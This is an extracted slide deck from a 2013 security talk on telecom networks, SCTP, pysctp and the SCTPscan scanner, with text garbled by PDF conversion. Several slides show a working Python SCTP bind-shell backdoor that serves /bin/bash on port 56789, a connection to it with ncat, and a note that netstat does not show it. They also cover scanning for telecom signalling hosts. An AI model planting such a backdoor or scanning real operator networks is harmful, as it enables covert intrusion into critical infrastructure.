opening'up'mobile'and' telecommunica1ons'networks' · isup diameter...

51
Opening up mobile and telecommunica1ons networks from walled garden to open and reviewed security 9th July 2013 PierreAOlivier Vauboin ([email protected]) Omar Awile ([email protected]) 1

Upload: others

Post on 22-Mar-2020

14 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

Opening'up'mobile'and'

telecommunica1ons'networks'from'walled'garden'to'open'and'reviewed'

security'

9th'July'2013'

'

PierreAOlivier'Vauboin'([email protected])'

Omar'Awile'([email protected])'1'

Page 2: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

Introduc1on'

•  Telecom'world'is'more'complex'than'IP'world''

•  SCTP:'the'interface'between'the'2'worlds'

•  Going'up'the'telecom'stack'

2'

Page 3: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

A'typical'mobile'operator’s'network'

3'

Different'services'(and'their'different'versions!)'are'supported'by'a'number'of'different'

Hardware'(and'soTware)'network'elements'

Page 4: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

IP'vs.'Telecom'network'–'network'elements'

4'

6/28/13 telco.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/telco.html 1/1

HLRIMS

NodeBIN VLR

SEGMSC STP

RNC BTS

Femto Cell

SGSN

GGSN

MMSC

SMSC

MME

HSS

Charging Gateway GPRS

iDNS / eDNS

AUC FMS

AAA

Billing Gateway

EIR

MSC proxySeGW

Voicemail Web Access

IGW

Advanced Messaging Service

Ring Back Tone

Border Gateway

Intelligent Packet Core Node

PDN GW

Next Generation Mobile Edge

OLT

ONT/ONU

OSS Gateway

Online Charging System

Open Messaging Gateway

ATS

NASS

NGW

SHLR

SPGWs

DSM SPY

STG/FNR

Site Alarms Management System

Softswitch

Subscriber Activation Gateway

TGW

TRX

TSC

UGC

User Mobility Server

Vendor Network Probe

Voice DataSwitch

International Gateway Routers

6/28/13 ip.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/ip.html 1/1

webBGP Router

mailSwitch

DNS ServerGPON

Firewall

DHCP ServerVPN Endpoint

BRASIP-­DSLAM

ProxyWireless APLoad Balancer

Backbone RouterDSL modem

PABX

MPLS router

Page 5: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

5'

Telecom'network'elements'

Mobile'Switching'Center'(MSC)'AllAinAOne'LTE'network'element'

HSS'+'MME'+'PAGW'+'PCRF'

Page 6: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

6'

6/28/13 telco_proto.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/telco_proto.html 1/1

SCTPSS7MAP

SIGTRAN

M3UA SIP

ISUP

Diameter

SCCPGTP-­U

VOIP

GPRS

GRX

TCAP

H248WAP OMAP

M2PA

M2UA

MTP3

SUA

V5UA

INAP

BICC

GTP-­C

GTP’CAMELBSSAP

RANAP

H323

Skinny

GAN / UMA

MGCP

MEGACO

S1AP

X2AP

TUP

RadiusIUA

IP'vs.'Telecom'network'–'protocols'

7/5/13 ip_proto.html

file://localhost/Users/omar/Documents/presentations/lms/cloud/d3-cloud/examples/ip_proto.html 1/1

httpippsnmp

netbios

ntpms sqlms rpc

telnet

dhcp

dns

https

ftpssh

route

smtp

upnp

tftp

voippop3

mysql

nfs

sip

radius

imap

Page 7: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

IP'vs.'Telecom'network'A'protocols'

7'

OSI'model'of'network'stack'

Telecom'networks'support'large'number'of'services'and'network'elements'through'

a'jungle'of'different'protocols'/'protocol'stacks.'

SIGTRAN'Mobile'Applica1on'Protocol'stack'

Page 8: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

IP'vs.'Telecom'network'A'protocols'

8'

OSI'model'of'network'stack'

Telecom'networks'support'large'number'of'services'and'network'elements'through'

a'jungle'of'different'protocols'/'protocol'stacks.'

SS7/SIGTRAN'core'network'Protocol'stack'

Page 9: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

IP'vs.'Telecom'network'A'protocols'

9'

Telecom'networks'support'large'number'of'services'and'network'elements'through'

a'jungle'of'different'protocols'/'protocol'stacks.'

Page 10: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

IP'vs.'Telecom'network'A'addressing'

10'

MAC'address'

IP'address'

(IPv4'/'IPv6)'

TCP'(UDP,'SCTP)'port'

Any'device'on'the'internet'(in'an'IP'network)'is'iden1fied'by'its'MAC'and'IP'addresses.'

TCP,'UDP'(and'SCTP)'offer'ports'as'a'means'to'address'applica1ons'within'one'host.'

Rou1ng'criteria:'''IP'

Page 11: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

IP'vs.'Telecom'network'A'addressing'

11'

Point'code'(PC)'

14'(or'16,'24)'bit'

segmented'addressing'

Global'1tle'(GT)'

Variable'number'of'digits.'

Equivalent'to'hostnames'in'IP'

SubSystem'Number'(SSN)'

Used'by'applica1on'layer'protocols'

(e.g.'MAP)'to'iden1fy'applica1on'on'

network'elements'

In'Telecom'networks'a'mul1tude'of'addressing'schemes'are'used'to'

Iden1fy'network'elements,'subscribers,'applica1ons'

Interna1onal'mobile'

subscriber'iden1ty'(IMSI)'

Unique'mobile'handset'

iden1fier'

SS7'Rou1ng'criteria:'''PC'/'GT'/'SSN'or'combo'

Page 12: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'–'Stream'Control'Transmission'

Protocol'

12'

TCP$Provides'reliable'data'transfer'&'strict'order'of'transmission'

Motivation �

Page 13: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'–'Stream'Control'Transmission'

Protocol'

13'

•  Some'applica1ons'can'dispense'with'strict'sequence'maintenance'!'TCP'

headAofAline'blocking'causes'unnecessary'delay.'

•  TCP'is'stream'oriented'!'applica1ons'must'add'their'own'record'marking'and'

make'use'of'the'PSH'bit'for'reasonable'msg'delivery'1mes!'

•  TCP'does'not'provide'support'for'mul1Ahomed'hosts'

•  TCP'is'suscep1ble'to'DoS'ajacks'(e.g.'SYN'ajacks)'

TCP$Provides'reliable'data'transfer'&'strict'order'of'transmission'

Motivation �

Page 14: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

14'

SCTP'(RFC'4960)'A'protocol'that'is'designed'to'transport'Public'Switched'Telephone'Network'

(PSTN)'signaling'messages'over'IP'networks,'but'is'capable'of'broader'

applica1ons'

Solution �

SCTP'–'Stream'Control'Transmission'

Protocol'

Page 15: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

15'

•  Reliable'data'transfer'

•  Data'fragmenta1on'

•  Sequenced'delivery'within'mul1ple'streams'

•  Op1onal'orderAofAarrival'delivery'

•  FaultAtolerance'through'mul1Ahoming'support'

•  Resistance'to'flooding'and'masquerading'ajacks'

SCTP'(RFC'4960)'A'protocol'that'is'designed'to'transport'Public'Switched'Telephone'Network'

(PSTN)'signaling'messages'over'IP'networks,'but'is'capable'of'broader'

applica1ons'

Solution �

SCTP'–'Stream'Control'Transmission'

Protocol'

Page 16: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

16'

SCTP'–'Stream'Control'Transmission'

Protocol'

0 7 8 15 16 23 24 31

Source'port' Des1na1on'port'

Verifica1on'tag'

checksum'

Chunk'1'type' Chunk'1'flags' Chunk'1'length'

Chunk'1'data'

…'

Chunk'N'type' Chunk'N'flags' Chunk'N'length'

Chunk'N'data'

Packet header�

Page 17: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'–'the'interface'between'IP'and'SS7'

17'

•  All'Network'Elements'on'the'Telecom'Core'Network'are'

interconnected'together'using'SCTP'

'

•  The'Core'Network'should'be'segmented'from'the'outside...'but'SCTP'ports'can'be'listening'on'Internet'as'well.'

'

•  SCTP'port'open'serves'as'an'entry'point'to'the'SS7'network.'

'

•  SCTP'is'also'used'on'next'genera1on'networks'such'as'4G'/'LTE'

•  SCTP'support'implemented'in'Linux'kernel'

Page 18: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'4'Way'Handshake'

18'

Client! Server!socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Page 19: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'4'Way'Handshake'

19'

Client! Server!

INIT'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Page 20: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'4'Way'Handshake'

20'

Client! Server!

INIT'

INITAACK'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

Page 21: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'4'Way'Handshake'

21'

Client! Server!

INIT'

INITAACK'

COOKIEAECHO'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

Page 22: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'4'Way'Handshake'

22'

Client! Server!

INIT'

INITAACK'

COOKIEAECHO'

COOKIEAACK'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

Page 23: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'4'Way'Handshake'

23'

Client! Server!

INIT'

INITAACK'

COOKIEAECHO'

COOKIEAACK'

socket(),'[bind()],'connect()' socket(),'bind(),'listen(),'accept()'

Not'TCP:'

4'way''

handshake'

DATA'

Page 24: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'4'Way'Handshake:'Network'Trace'

24'

Page 25: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

pysctp'

25'

A'python'library'for'SCTP'socket'programming'

•  Python'bindings'to'lowAlevel'C'SCTP'sockets'

•  Extends'the'tradi1onal'socket'interface'

•  Allows'SCTP'to'be'used'instead'of'TCP'or'UDP'

•  Allows'simple'scrip1ng'and'prototyping'of'SCTP'

client'/'server'applica1ons'

hjps://github.com/philpraxis/pysctp/'

+'SCTP ='•  ease'of'use'•  versa1lity'•  freedom'to'

experiment'

Page 26: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

Example:'An'm3ua'server'in'pysctp'

26'

import sctp import socket import binascii soc = sctp.sctpsocket_tcp(socket.AF_INET) soc.bind(('127.0.0.1', 2905)) soc.listen(5) ear, (ip, port) = soc.accept() buf = ear.recv(1024) print("* received: %s" % binascii.hexlify(buf)) print("* sending M3UA ASPUP ACK”) ear.send(binascii.unhexlify('0100030400000008')) ear.close() soc.close()

Page 27: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

Example:'An'm3ua'client'in'pysctp'

27'

import sctp import socket import binascii soc = sctp.sctpsocket_tcp(socket.AF_INET) soc.bind(('127.0.0.1', 2906)) soc.connect(('127.0.0.1', 2905)) print("* sending M3UA ASPUP”) soc.send(binascii.unhexlify('0100030100000008')) buf = soc.recv(1024) print("* received: %s" % binascii.hexlify(buf)) soc.close()

Page 28: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

Running'the'example'

28'

$ python m3ua_server.py

* received: 0100030100000008

* sending M3UA ASPUP ACK

$ python m3ua_client.py

* sending M3UA ASPUP

* received: 0100030400000008

$ tshark -ni lo sctp

Capturing on 'Loopback'

0.000000 SCTP 82 INIT

0.000048 SCTP 306 INIT_ACK

0.000065 SCTP 278 COOKIE_ECHO

0.000113 SCTP 50 COOKIE_ACK

0.000202 M3UA (RFC 3332) 70 ASPUP

0.000218 SCTP 62 SACK

0.000302 M3UA (RFC 3332) 70 ASPUP_ACK

0.000324 SCTP 62 SACK

0.000349 SCTP 54 SHUTDOWN

0.000357 SCTP 50 SHUTDOWN_ACK

0.000365 SCTP 50 SHUTDOWN_COMPLETE

SCTP'connec1on'

establishment'

SCTP'connec1on'

shutdown'

Page 29: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

m3ua'client'/'server:'network'trace'

29'

Page 30: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

More'fun'with'SCTP':)'

30'

import sctp import socket import subprocess soc = sctp.sctpsocket_tcp(socket.AF_INET) soc.bind((‘0.0.0.0', 56789)) soc.listen(5) while True: print('* waiting for client connections’) ear, (ip, port) = soc.accept() print('* connection from %s:%s' % (ip, port)) p = subprocess.call(['/bin/bash'], stdin=ear, stdout=ear, stderr=ear) print('* client %s:%s disconnected' % (ip, port))

Page 31: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

Running'the'SCTP'backdoor'IoC'(Indicator'of'Compromise)'headache'

31'

$ python backdoor.py

* waiting for client connections

* connection from 127.0.0.1:34719

$ ncat -v --sctp 127.0.0.1 56789

Ncat: Connected to 127.0.0.1:56789.

id

uid=1000(po) gid=1000(po) groups=1000(po)

$ sudo netstat -anp | grep -i sctp

$ sudo netstat -anp

Connexions Internet actives (serveurs et établies)

Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1838/mysqld

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 10676/nginx

[…]

Page 32: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

$ sudo netstat -anp | grep -i sctp

$ sudo netstat -anp

Connexions Internet actives (serveurs et établies)

Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1838/mysqld

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 10676/nginx

[…]

32'

$ python backdoor.py

* waiting for client connections

* connection from 127.0.0.1:34719

What’s going on???�

$ ncat -v --sctp 127.0.0.1 56789

Ncat: Connected to 127.0.0.1:56789.

id

uid=1000(po) gid=1000(po) groups=1000(po)

Running'the'SCTP'backdoor'IoC'(Indicator'of'Compromise)'headache'

Page 33: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

33'

$ python backdoor.py

* waiting for client connections

* connection from 127.0.0.1:34719

$ cat /proc/net/sctp/eps

ENDPT SOCK STY SST HBKT LPORT UID INODE LADDRS

0 0 2 10 21 56789 1000 49217162 0.0.0.0

$ cat /proc/net/sctp/assocs

ASSOC SOCK STY SST ST HBKT ASSOC-ID TX_QUEUE RX_QUEUE UID INODE LPORT RPORT LADDRS <-> RADDRS [...]

0 0 2 1 3 30699 1494 0 0 1000 2384055 56789 34719 127.0.0.1 <-> *127.0.0.1 [...]

0 0 2 1 3 42111 1493 0 0 1000 2292730 34719 56789 127.0.0.1 <-> *127.0.0.1 [...]

$ ncat -v --sctp 127.0.0.1 56789

Ncat: Connected to 127.0.0.1:56789.

id

uid=1000(po) gid=1000(po) groups=1000(po)

netstat does not support SCTP. (Ubuntu 12.04 LTS, seen only

some patch in RedHat)�

Running'the'SCTP'backdoor'IoC'(Indicator'of'Compromise)'headache'

Page 34: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTPscan'

34'

An'SCTPAbased'network'scanner''

(for'signaling'networks'and'more!)'

hjps://github.com/philpraxis/sctpscan/tree/sctpscan_ng'

•  Reliable'scanning'of'SCTPAenabled'hosts'

•  PortAscanning'for'most'popular'ports''

(with'focus'on'signaling'equipment)'

•  IP'rangeAscanning'

•  Fast'scanning'through'synchronous'I/O'mul1plexing'

•  Port'mirroring'for'improved'service'discovery'

Page 35: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'Port'Scanning'

35'

Client! Server!

Case'1'

Case'2'

Case'3'

Page 36: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'Port'Scanning'

36'

Client! Server!

INIT'

Case'1'

Case'2'

Case'3'

Page 37: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'Port'Scanning'

37'

Client! Server!

INIT'

INITAACK'Port'Open'Case'1'

Case'2'

Case'3'

Page 38: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'Port'Scanning'

38'

Client! Server!

INIT'

INITAACK'

INIT'

Port'Open'Case'1'

Case'2'

Case'3'

Page 39: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'Port'Scanning'

39'

Client! Server!

INIT'

INITAACK'

INIT'

ABORT'

Port'Open'

Port'Closed'

Case'1'

Case'2'

Case'3'

Page 40: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'Port'Scanning'

40'

Client! Server!

INIT'

INITAACK'

INIT'

ABORT'

Port'Open'

Port'Closed'

INIT'

Case'1'

Case'2'

Case'3'

Page 41: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTP'Port'Scanning'

41'

Client! Server!

INIT'

INITAACK'

INIT'

ABORT'

Port'Open'

Port'Closed'

Port'Filtered'

INIT'

Case'1'

Case'2'

Case'3'

no'reply…'

Page 42: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SCTPscan'in'ac1on'

42'

$ sudo ./sctpscan.py 192.168.56.101

Scanning 192.168.56.101

SCTP Port Open: 192.168.56.101 2906

Results: 1 opened, 109 closed, 1 filtered

$

Page 43: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

Going'up'the'telecom'stack:'MAP'

43'

Dst$SSN$

Dst$GT$

Target$MSISDN$

Src$/$Dst$IPs$Src$/$Dst$SCTP$Ports$

Page 44: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SS7/SIGTRAN'evolu1on'to'LTE/Diameter'

44'SS7'/'SIGTRAN' Diameter'/'LTE'

SCTP'is'retained'as'transport'protocol'for'the'next'genera1on'telecom'protocols'

Page 45: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

SS7/SIGTRAN'evolu1on'to'LTE/Diameter'

45'SS7'/'SIGTRAN' Diameter'/'LTE'

SCTP'is'retained'as'transport'protocol'for'the'next'genera1on'telecom'protocols'

Page 46: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

Bad'usage'of'SCTP'for'new'protocols'

46'

•  SCTP'for'LTE:'Diameter,'S1,'X2,'…'

•  Assuming'security'is'handled'by'IPsec'is'bad$

•  No'authen1ca1on'in'protocol'!'no'security'by'default'

•  IPsec'is'not'necessarily'deployed'

Example:'Diameter'vs'Radius'

Page 47: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

47'

Telecom'network'architecture'

Page 48: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

48'

GT'

SSN'

Passive'network'analysis'

Page 49: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

49'

GT'

SSN'

Ac1ve'network'scanning'

Page 50: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

50'

Conclusions'•  Telecom'networks'are'powered'by'a'wide'range'of'

technologies'and'protocols.'

•  SCTP'is'used'ubiquitously'in'telecom'networks'as'the'interface'

between'IP'and'telecom'technologies.'

•  pysctp'offers'an'easy'API'for'SCTP'socket'programming'giving'

simple'access'into'telecom'protocol'stacks.'

•  SCTPscan(Ang)'offers'ac1ve'scanning'and'service'detec1on'for'hosts'on'telecom'networks'

•  HLR'is'the'central'element'of'a'mobile'operator’s'network'

•  SGSN'pose'a'risk'being'a'single'pointAofAfailure'•  MSC'are'more'distributed'but'carry'the'bulk'of'signaling'

Page 51: Opening'up'mobile'and' telecommunica1ons'networks' · ISUP Diameter GTP U SCCP VOIP GPRS GRX TCAP H248 WAP OMAP M2PA M2UA MTP3 SUA V5UA INAP BICC ... SCTP'4'Way'Handshake:'Network'Trace

Thank'you!'

Thanks'go'to:'

Philippe'Langlois'

Elvis'Pfützenreuter'

and'the'P1'Security'team''

Ques1ons'to:'

[email protected]'

[email protected]''

[email protected]'